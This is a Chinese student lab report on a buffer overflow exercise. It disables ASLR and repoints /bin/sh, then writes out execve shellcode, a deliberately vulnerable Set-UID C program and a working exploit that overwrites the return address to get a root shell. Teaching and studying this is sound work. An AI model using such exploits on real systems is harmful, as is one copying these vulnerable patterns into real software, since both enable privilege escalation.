20165318 緩沖區溢出漏洞實驗

目錄

• 一、實驗簡介
• 二、實驗準備
• 三、實驗步驟
  • 3.1初始設置
  • 3.2shellcode
  • 3.3漏洞程序
  • 3.4攻擊程序
  • 3.5攻擊結果
• 四、練習
• 五、參考資料

一、實驗簡介

緩沖區溢出是指程序試圖向緩沖區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制，甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩沖器和返回地址的暫時關閉，溢出會引起返回地址被重寫。

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二、實驗準備

實驗樓提供的是 64 位 Ubuntu linux，而本次實驗為了方便觀察匯編語句，我們需要在 32 位環境下作操作，因此實驗之前需要做一些準備。

輸入命令安裝一些用於編譯 32 位 C 程序的軟件包：

$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev

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三、實驗步驟

3.1初始設置

1、Ubuntu 和其他一些 Linux 系統中，使用地址空間隨機化來隨機堆（heap）和棧（stack）的初始地址，這使得猜測準確的內存地址變得十分困難，而猜測內存地址是緩沖區溢出攻擊的關鍵。因此本次實驗中，我們使用以下命令關閉這一功能：

sudo sysctl -w kernel.randomize_va_space=0
 

過程截圖

2、此外，為了進一步防範緩沖區溢出攻擊及其它利用 shell 程序的攻擊，許多shell程序在被調用時自動放棄它們的特權。因此，即使你能欺騙一個 Set-UID 程序調用一個 shell，也不能在這個 shell 中保持 root 權限，這個防護措施在 /bin/bash 中實現。
linux 系統中，/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號鏈接。為了重現這一防護措施被實現之前的情形，我們使用另一個 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何設置 zsh 程序：

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
 

過程截圖

3.2shellcode

一般情況下，緩沖區溢出會造成程序崩潰，在程序中，溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址，那麽程序就會跳轉到該地址，如果該地址存放的是一段精心設計的代碼用於實現其他功能，這段代碼就是 shellcode。

觀察以下代碼：

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次實驗的shellcode，就是剛才代碼的匯編版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3漏洞程序

1、把以下代碼保存為“stack.c”文件，保存到 /tmp 目錄下。代碼如下：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

2、通過代碼可以知道，程序會讀取一個名為“badfile”的文件，並將文件內容裝入“buffer”。編譯該程序，並設置 SET-UID。命令如下：

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

註：
GCC編譯器有一種棧保護機制來阻止緩沖區溢出，所以我們在編譯代碼時需要用 –fno-stack-protector關閉這種機制。 而-z execstack用於允許執行棧。
-g參數是為了使編譯後得到的可執行文檔能用gdb調試。

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3.4攻擊程序

1、我們的目的是攻擊剛才的漏洞程序，並通過攻擊獲得root權限。把以下代碼保存為“exploit.c”文件，保存到/tmp目錄下。代碼如下：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

註意上面的代碼，\x??\x??\x??\x??處需要添上shellcode保存在內存中的地址，因為發生溢出後這個位置剛好可以覆蓋返回地址。而strcpy(buffer+100,shellcode);這一句又告訴我們，shellcode保存在buffer + 100的位置。下面我們將詳細介紹如何獲得我們需要添加的地址。

2、現在我們要得到 shellcode 在內存中的地址，輸入命令

$ gdb stack
$ disass main

3、按 q 鍵，再按 enter 鍵可退出調試

根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffd060(十六進制) + 0x64(100的十六進制) = 0xffffd0c4(十六進制)

現在修改exploit.c文件,將 \x??\x??\x??\x??修改為\xc4\xd0\xff\xff
然後，編譯 exploit.c 程序：

$ gcc -m32 -o exploit exploit.c

3.5攻擊結果

先運行攻擊程序 exploit，再運行漏洞程序 stack，觀察結果：

攻擊成功！獲得root權限

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四、練習

1、按照實驗步驟進行操作，攻擊漏洞程序並獲得 root 權限。

如上圖所示，獲得root權限

2、通過命令 sudo sysctl -w kernel.randomize_va_space=2 打開系統的地址空間隨機化機制，重復用 exploit 程序攻擊 stack 程序，觀察能否攻擊成功，能否獲得root權限。

3、將 /bin/sh 重新指向 /bin/bash（或/bin/dash），觀察能否攻擊成功，能否獲得 root 權限。

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五、參考資料

“緩沖區溢出漏洞實驗”實驗報告
緩沖區溢出漏洞實驗 - 實驗樓
緩沖區溢出攻擊

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